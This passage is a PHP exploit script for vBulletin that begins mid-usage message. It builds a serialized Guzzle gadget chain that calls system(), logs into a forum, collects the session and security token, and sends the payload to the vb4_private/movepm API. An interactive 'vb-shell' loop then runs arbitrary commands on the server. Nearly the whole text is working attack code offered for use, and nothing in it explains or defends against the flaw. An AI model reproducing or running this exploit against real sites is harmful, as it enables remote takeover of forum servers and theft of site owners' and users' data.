\n"; print "\nExample....: php $argv[0] http://localhost/vb/ user passwd"; print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n"; die(); } class googlelogin_vendor_autoload {} // fake class to include the autoloader class GuzzleHttp_HandlerStack { private $handler, $stack; function __construct($cmd) { $this->stack = [["system"]]; // the callback we want to execute $this->handler = $cmd; // argument for the callback } } class GuzzleHttp_Psr7_FnStream { function __construct($callback) { $this->_fn_close = $callback; } } function make_popchain($cmd) { $pop = new GuzzleHttp_HandlerStack($cmd); $pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']); $chain = serialize([new googlelogin_vendor_autoload, $pop]); $chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain); $chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain); $chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain); $chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain); return $chain; } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[+] Logging in with username '{$user}' and password '{$pass}'\n"; curl_setopt($ch, CURLOPT_URL, $url); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}"); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed!\n"); print "[+] Logged-in! Retrieving security token\n"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found!\n"); $params = ["routestring" => "ajax/api/vb4_private/movepm", "securitytoken" => $token[1], "folderid" => 1]; print "[+] Launching shell\n"; while(1) { print "\nvb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $params["messageids"] = make_popchain($cmd); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n"); }